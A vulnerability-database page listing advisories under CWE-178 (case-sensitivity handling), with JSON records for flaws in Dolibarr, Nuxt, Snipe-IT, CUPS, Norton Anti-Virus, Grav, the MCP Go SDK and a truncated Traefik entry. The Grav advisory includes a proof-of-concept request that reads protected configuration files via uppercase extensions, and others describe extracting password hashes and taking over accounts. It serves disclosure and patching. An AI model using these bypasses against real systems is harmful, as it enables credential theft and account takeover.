Common Weakness Enumeration

CWE-178

Allowed

Improper Handling of Case Sensitivity

Abstraction: Base · Status: Incomplete

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

253 vulnerabilities reference this CWE, most recent first.

GHSA-VHVR-3M2V-RRFQ

Vulnerability from github – Published: 2026-09-11 18:31 – Updated: 2026-09-11 18:31
VLAI
Details

Dolibarr 24.0.0 before 24.0.1 contains a case-sensitive denylist bypass vulnerability in the sqlfilters API query parameter that allows authenticated attackers to recover protected database fields by supplying uppercase variants of denylist-protected field names. Attackers can exploit the case-insensitive database column resolution against the case-sensitive denylist check in the core library to use prefix-matching predicates as a boolean oracle and extract full password hashes for any user account, including administrators.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-89012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T16:17:48Z",
    "severity": "HIGH"
  },
  "details": "Dolibarr 24.0.0 before 24.0.1 contains a case-sensitive denylist bypass vulnerability in the sqlfilters API query parameter that allows authenticated attackers to recover protected database fields by supplying uppercase variants of denylist-protected field names. Attackers can exploit the case-insensitive database column resolution against the case-sensitive denylist check in the core library to use prefix-matching predicates as a boolean oracle and extract full password hashes for any user account, including administrators.",
  "id": "GHSA-vhvr-3m2v-rrfq",
  "modified": "2026-09-11T18:31:24Z",
  "published": "2026-09-11T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/commit/7a04d9c970e45e15d29c91e6f5a34a262c6c51c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dolibarr-sql-filter-denylist-bypass-via-sqlfilters-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VJH5-4X84-XRQP

Vulnerability from github – Published: 2026-10-22 16:59 – Updated: 2026-10-22 16:59
VLAI
Summary
Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive
Details

Impact

With the default router.options.sensitive: false, Nuxt's page router resolves routes case-insensitively, so /Admin renders the same page as /admin. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.

Earlier fixes (GHSA-mm7m-92g8-7m47, GHSA-hxvh-4h3w-prp9) case-folded the route rules that the Nuxt app itself reads, such as appMiddleware. This advisory covers the rules applied on the server:

  • redirect: a rule used to send visitors away from a page, such as '/admin/**': { redirect: '/login' }, was skipped, and the page and its server-fetched data were rendered instead.
  • headers: per-route response headers, including security headers such as Content-Security-Policy or X-Frame-Options, were not sent.
  • proxy: the request was not proxied.
  • ssr: false and noScripts: the page was server-rendered, or shipped scripts, despite the rule.
  • getRouteRules(event) (auto-imported, or from nuxt/server) and matchRouteRules from nuxt/server returned no rules for the case variant.
export default defineNuxtConfig({
  routeRules: {
    '/admin/**': { redirect: '/login' },
  },
})

With this configuration, /admin/secret redirects to /login, but /Admin/secret rendered app/pages/admin/secret.vue.

Mitigating factors

  • Applications that set router.options.sensitive: true in nuxt.config are not affected, because their pages are only served for the exact case of the route.
  • Access checks performed in server middleware, route middleware attached with definePageMeta, or in the page's data fetching are not affected. The issue only affects protections that rely on a server-side route rule matching the request path.

Affected versions

nuxt <4.6.2, including all Nuxt 3 releases, and @nuxt/nitro-server <4.6.2.

Patches

Fixed in nuxt@4.6.2. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.

Nuxt now resolves server-side route rules itself, decoding and case-folding both the rule keys and the request path unless router.options.sensitive is set, and applies the result to Nitro's redirect, headers and proxy handling, the renderer, and the getRouteRules / matchRouteRules helpers.

When routing is case-insensitive, patched releases change some behaviour:

  • Route rules also apply to case variants of server API routes. For example, /API/x now matches a /api/** proxy or headers rule.
  • Rule keys that differ only in letter case now resolve to the same path on the server, and the later key takes precedence.

The following are not changed by this fix:

  • cache and swr response caching is attached to server routes by Nitro's router, which matches case-sensitively. A case variant is still rendered with its route rules applied, but its response is not cached.
  • Rules that a deployment preset compiles into platform configuration (for example Vercel's config.json or Netlify's _redirects and _headers) are matched by the platform. Once a request reaches the Nuxt server, the rules are applied as described above.
  • If sensitive is set only in app/router.options.ts, the server follows the nuxt.config value. In that configuration route rules can only apply to more paths, never fewer.

Workarounds

Upgrade to nuxt@4.6.2. If you cannot upgrade, including on Nuxt 3:

  1. Set router: { options: { sensitive: true } } in nuxt.config, so pages are only served for the exact case of their route.
  2. Alternatively, enforce access control in server middleware or route middleware rather than relying on a redirect route rule, and set security headers for every response rather than per route.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/nitro-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/nitro-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:59:55Z",
    "nvd_published_at": "2026-10-21T18:17:26Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nWith the default `router.options.sensitive: false`, Nuxt\u0027s page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro\u0027s route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.\n\nEarlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server:\n\n- `redirect`: a rule used to send visitors away from a page, such as `\u0027/admin/**\u0027: { redirect: \u0027/login\u0027 }`, was skipped, and the page and its server-fetched data were rendered instead.\n- `headers`: per-route response headers, including security headers such as `Content-Security-Policy` or `X-Frame-Options`, were not sent.\n- `proxy`: the request was not proxied.\n- `ssr: false` and `noScripts`: the page was server-rendered, or shipped scripts, despite the rule.\n- `getRouteRules(event)` (auto-imported, or from `nuxt/server`) and `matchRouteRules` from `nuxt/server` returned no rules for the case variant.\n\n```ts\nexport default defineNuxtConfig({\n  routeRules: {\n    \u0027/admin/**\u0027: { redirect: \u0027/login\u0027 },\n  },\n})\n```\n\nWith this configuration, `/admin/secret` redirects to `/login`, but `/Admin/secret` rendered `app/pages/admin/secret.vue`.\n\n## Mitigating factors\n\n- Applications that set `router.options.sensitive: true` in `nuxt.config` are not affected, because their pages are only served for the exact case of the route.\n- Access checks performed in server middleware, route middleware attached with `definePageMeta`, or in the page\u0027s data fetching are not affected. The issue only affects protections that rely on a server-side route rule matching the request path.\n\n## Affected versions\n\n`nuxt` `\u003c4.6.2`, including all Nuxt 3 releases, and `@nuxt/nitro-server` `\u003c4.6.2`.\n\n## Patches\n\nFixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.\n\nNuxt now resolves server-side route rules itself, decoding and case-folding both the rule keys and the request path unless `router.options.sensitive` is set, and applies the result to Nitro\u0027s `redirect`, `headers` and `proxy` handling, the renderer, and the `getRouteRules` / `matchRouteRules` helpers.\n\nWhen routing is case-insensitive, patched releases change some behaviour:\n\n- Route rules also apply to case variants of server API routes. For example, `/API/x` now matches a `/api/**` `proxy` or `headers` rule.\n- Rule keys that differ only in letter case now resolve to the same path on the server, and the later key takes precedence.\n\nThe following are not changed by this fix:\n\n- `cache` and `swr` response caching is attached to server routes by Nitro\u0027s router, which matches case-sensitively. A case variant is still rendered with its route rules applied, but its response is not cached.\n- Rules that a deployment preset compiles into platform configuration (for example Vercel\u0027s `config.json` or Netlify\u0027s `_redirects` and `_headers`) are matched by the platform. Once a request reaches the Nuxt server, the rules are applied as described above.\n- If `sensitive` is set only in `app/router.options.ts`, the server follows the `nuxt.config` value. In that configuration route rules can only apply to more paths, never fewer.\n\n## Workarounds\n\nUpgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3:\n\n1. Set `router: { options: { sensitive: true } }` in `nuxt.config`, so pages are only served for the exact case of their route.\n2. Alternatively, enforce access control in server middleware or route middleware rather than relying on a `redirect` route rule, and set security headers for every response rather than per route.",
  "id": "GHSA-vjh5-4x84-xrqp",
  "modified": "2026-10-22T16:59:55Z",
  "published": "2026-10-22T16:59:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-vjh5-4x84-xrqp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/f6cfee52cf9576ddc4f4ee83b486969328b358f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/releases/tag/v4.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive"
}

GHSA-VP3X-C2H8-V6W8

Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35
VLAI
Details

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4_unicode_ci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-86770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T14:17:27Z",
    "severity": "HIGH"
  },
  "details": "Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4_unicode_ci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.",
  "id": "GHSA-vp3x-c2h8-v6w8",
  "modified": "2026-09-09T15:35:14Z",
  "published": "2026-09-09T15:35:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-w3vv-5wxh-xg4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86770"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/snipe-it-before-8.7.0-authentication-bypass-via-saml-username-collation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VP74-83H5-6967

Vulnerability from github – Published: 2022-04-29 03:00 – Updated: 2024-02-15 21:31
VLAI
Details

CUPS before 1.1.21rc1 treats a Location directive in cupsd.conf as case sensitive, which allows attackers to bypass intended ACLs via a printer name containing uppercase or lowercase letters that are different from what is specified in the directive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2004-2154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-12-31T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "CUPS before 1.1.21rc1 treats a Location directive in cupsd.conf as case sensitive, which allows attackers to bypass intended ACLs via a printer name containing uppercase or lowercase letters that are different from what is specified in the directive.",
  "id": "GHSA-vp74-83h5-6967",
  "modified": "2024-02-15T21:31:23Z",
  "published": "2022-04-29T03:00:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2154"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=162405"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=163274"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9940"
    },
    {
      "type": "WEB",
      "url": "http://www.cups.org/str.php?L700"
    },
    {
      "type": "WEB",
      "url": "http://www.novell.com/linux/security/advisories/2005_18_sr.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2005-571.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/usn-185-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VV2M-P3GP-W7P3

Vulnerability from github – Published: 2022-04-30 18:19 – Updated: 2024-02-02 03:30
VLAI
Details

Norton Anti-Virus (NAV) allows remote attackers to bypass content filtering via attachments whose Content-Type and Content-Disposition headers are mixed upper and lower case, which is ignored by some mail clients.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2002-0485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2002-08-12T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Norton Anti-Virus (NAV) allows remote attackers to bypass content filtering via attachments whose Content-Type and Content-Disposition headers are mixed upper and lower case, which is ignored by some mail clients.",
  "id": "GHSA-vv2m-p3gp-w7p3",
  "modified": "2024-02-02T03:30:30Z",
  "published": "2022-04-30T18:19:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-0485"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=101684260510079\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=vuln-dev\u0026m=101681724810317\u0026w=2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VWG3-W8W3-PC79

Vulnerability from github – Published: 2026-08-19 19:32 – Updated: 2026-08-19 19:32
VLAI
Summary
Grav: .htaccess file extension rules bypass via case variation on case-insensitive filesystems
Details

Summary

The default .htaccess shipped with Grav (and the reference webserver-configs/htaccess.txt) contains security rules that block direct HTTP access to sensitive file types (.yaml, .yml, .php, .json, .twig, etc.) under user/ and system/vendor/ directories. However, these rules lack the [NC] (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., .YAML, .PHP, .JSON).

Affected Versions

  • Grav 2.0.1 (latest stable as of June 2026) — confirmed
  • Grav 1.7.x — likely affected (same .htaccess rules)
  • All versions shipping the current webserver-configs/htaccess.txt

Affected Component

File: .htaccess (root of Grav installation) Reference: webserver-configs/htaccess.txt

Affected Rules (lines 68, 70, 72)

# Line 68 — system/vendor file types
RewriteRule ^(system|vendor)/(.*)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]

# Line 70 — user file types
RewriteRule ^(user)/(.*)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]

# Line 72 — .md files globally
RewriteRule \.md$ error [F]

All three rules use [F] without [NC], making the extension match case-sensitive.

Steps to Reproduce

  1. Install Grav on a system with a case-insensitive filesystem:
  2. Windows (native WAMP/XAMPP)
  3. macOS (default HFS+)
  4. Docker on Windows/macOS with volume mounts (e.g., ./data:/var/www/html)

  5. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys): user/plugins/my-plugin/my-plugin.yaml

  6. Request the file with a case-varied extension: GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1

  7. Expected: HTTP 403 Forbidden

  8. Actual: HTTP 200 OK — full file contents returned, including any API keys or sensitive configuration

Impact

  • Information disclosure: Plugin configuration files (.yaml) containing API keys, credentials, or sensitive settings can be read by unauthenticated users
  • Source code exposure: PHP source files can be downloaded (instead of executed) when requested with .PHP extension on some configurations
  • Configuration exposure: user/config/system.yaml, user/config/site.yaml, and other system configuration files are accessible

Fix

Add the [NC] flag to the three affected rules:

RewriteRule ^(system|vendor)/(.*)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC]
RewriteRule ^(user)/(.*)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC]
RewriteRule \.md$ error [F,NC]

The [NC] flag makes the extension matching case-insensitive, covering .YAML, .Yaml, .PHP, .Json, etc.

Mitigating Factors

  • On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file
  • Grav 2.0's Twig sandbox blocks access to plugins config subtree from page content, preventing SSTI-based config exfiltration
  • The user/accounts/, user/config/, and user/data/ folders have separate rules (line 62, 66) that block ALL file types regardless of extension — these are not affected

Environment

  • Grav: 2.0.1
  • PHP: 8.3
  • Apache: 2.4 with mod_rewrite
  • OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS)
  • Tested: June 2026

Reporter

Sisnetic

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T19:32:38Z",
    "nvd_published_at": "2026-08-19T16:18:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe default `.htaccess` shipped with Grav (and the reference `webserver-configs/htaccess.txt`) contains security rules that block direct HTTP access to sensitive file types (`.yaml`, `.yml`, `.php`, `.json`, `.twig`, etc.) under `user/` and `system/vendor/` directories. However, these rules lack the `[NC]` (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., `.YAML`, `.PHP`, `.JSON`).\n\n## Affected Versions\n\n- Grav 2.0.1 (latest stable as of June 2026) \u2014 confirmed\n- Grav 1.7.x \u2014 likely affected (same `.htaccess` rules)\n- All versions shipping the current `webserver-configs/htaccess.txt`\n\n## Affected Component\n\nFile: `.htaccess` (root of Grav installation)\nReference: `webserver-configs/htaccess.txt`\n\n## Affected Rules (lines 68, 70, 72)\n\n```apache\n# Line 68 \u2014 system/vendor file types\nRewriteRule ^(system|vendor)/(.*)\\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]\n\n# Line 70 \u2014 user file types\nRewriteRule ^(user)/(.*)\\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]\n\n# Line 72 \u2014 .md files globally\nRewriteRule \\.md$ error [F]\n```\n\nAll three rules use `[F]` without `[NC]`, making the extension match case-sensitive.\n\n## Steps to Reproduce\n\n1. Install Grav on a system with a case-insensitive filesystem:\n   - Windows (native WAMP/XAMPP)\n   - macOS (default HFS+)\n   - Docker on Windows/macOS with volume mounts (e.g., `./data:/var/www/html`)\n\n2. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys):\n   ```\n   user/plugins/my-plugin/my-plugin.yaml\n   ```\n\n3. Request the file with a case-varied extension:\n   ```\n   GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1\n   ```\n\n4. **Expected**: HTTP 403 Forbidden\n5. **Actual**: HTTP 200 OK \u2014 full file contents returned, including any API keys or sensitive configuration\n\n## Impact\n\n- **Information disclosure**: Plugin configuration files (`.yaml`) containing API keys, credentials, or sensitive settings can be read by unauthenticated users\n- **Source code exposure**: PHP source files can be downloaded (instead of executed) when requested with `.PHP` extension on some configurations\n- **Configuration exposure**: `user/config/system.yaml`, `user/config/site.yaml`, and other system configuration files are accessible\n\n## Fix\n\nAdd the `[NC]` flag to the three affected rules:\n\n```apache\nRewriteRule ^(system|vendor)/(.*)\\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC]\nRewriteRule ^(user)/(.*)\\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC]\nRewriteRule \\.md$ error [F,NC]\n```\n\nThe `[NC]` flag makes the extension matching case-insensitive, covering `.YAML`, `.Yaml`, `.PHP`, `.Json`, etc.\n\n## Mitigating Factors\n\n- On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file\n- Grav 2.0\u0027s Twig sandbox blocks access to `plugins` config subtree from page content, preventing SSTI-based config exfiltration\n- The `user/accounts/`, `user/config/`, and `user/data/` folders have separate rules (line 62, 66) that block ALL file types regardless of extension \u2014 these are not affected\n\n## Environment\n\n- Grav: 2.0.1\n- PHP: 8.3\n- Apache: 2.4 with mod_rewrite\n- OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS)\n- Tested: June 2026\n\n## Reporter\n\nSisnetic",
  "id": "GHSA-vwg3-w8w3-pc79",
  "modified": "2026-08-19T19:32:38Z",
  "published": "2026-08-19T19:32:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-vwg3-w8w3-pc79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/8c9d1e7b6fd66ecea80a4bc3783fd41d36e22fb1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: .htaccess file extension rules bypass via case variation on case-insensitive filesystems"
}

GHSA-WVJ2-96WP-FQ3F

Vulnerability from github – Published: 2026-02-26 22:20 – Updated: 2026-02-26 22:20
VLAI
Summary
MCP Go SDK Vulnerable to Improper Handling of Case Sensitivity
Details

The Go MCP SDK used Go's standard encoding/json.Unmarshal for JSON-RPC and MCP protocol message parsing. Go's standard library performs case-insensitive matching of JSON keys to struct field tags — a field tagged json:"method" would also match "Method", "METHOD", etc. Additionally, Go's standard library folds the Unicode characters ſ (U+017F) and K (U+212A) to their ASCII equivalents s and k, meaning fields like "paramſ" would match "params". This violated the JSON-RPC 2.0 specification, which defines exact field names.

Impact:

A malicious MCP peer may have been able to send protocol messages with non-standard field casing (e.g., "Method" instead of "method") that the SDK would silently accept. This had the potential for: - Bypassing intermediary inspection: Proxies or policy layers that matched on exact field names may have failed to detect or filter these messages. - Cross-implementation inconsistency: Other MCP SDKs (TypeScript, Python) use case-sensitive parsing and would reject the same messages, creating potential security-boundary confusion.

Fix:

Go's standard JSON unmarshaling was replaced with a case-sensitive decoder (github.com/segmentio/encoding) in commit 7b8d81c. Users are advised to update to v1.3.1 to resolve this issue.

Credits:

MCP Go SDK thanks Francesco Lacerenza (Doyensec) for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/modelcontextprotocol/go-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:20:08Z",
    "nvd_published_at": "2026-02-26T01:16:25Z",
    "severity": "HIGH"
  },
  "details": "The Go MCP SDK used Go\u0027s standard encoding/json.Unmarshal for JSON-RPC and MCP protocol message parsing. Go\u0027s standard library performs case-insensitive matching of JSON keys to struct field tags \u2014 a field tagged json:\"method\" would also match \"Method\", \"METHOD\", etc. Additionally, Go\u0027s standard library folds the Unicode characters \u017f (U+017F) and K (U+212A) to their ASCII equivalents s and k, meaning fields like \"param\u017f\" would match \"params\". This violated the JSON-RPC 2.0 specification, which defines exact field names.\n\n#### Impact:\n\nA malicious MCP peer may have been able to send protocol messages with non-standard field casing (e.g., \"Method\" instead of \"method\") that the SDK would silently accept. This had the potential for:\n  - **Bypassing intermediary inspection:** Proxies or policy layers that matched on exact field names may have failed to detect or filter these messages.\n  - **Cross-implementation inconsistency:** Other MCP SDKs (TypeScript, Python) use case-sensitive parsing and would reject the same messages, creating potential security-boundary confusion.\n\n####  Fix:\n\nGo\u0027s standard JSON unmarshaling was replaced with a case-sensitive decoder (github.com/segmentio/encoding) in commit 7b8d81c. Users are advised to update to v1.3.1 to resolve this issue.\n\n#### Credits:\nMCP Go SDK thanks Francesco Lacerenza (Doyensec) for reporting this issue.",
  "id": "GHSA-wvj2-96wp-fq3f",
  "modified": "2026-02-26T22:20:08Z",
  "published": "2026-02-26T22:20:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/go-sdk/security/advisories/GHSA-wvj2-96wp-fq3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/go-sdk/commit/7b8d81c264074404abdf5aa16e2cf0c2d9c64cc0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/go-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Go SDK Vulnerable to Improper Handling of Case Sensitivity"
}

GHSA-X677-9FXG-V5C5

Vulnerability from github – Published: 2026-08-06 16:53 – Updated: 2026-08-06 16:53
VLAI
Summary
Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Details

Summary

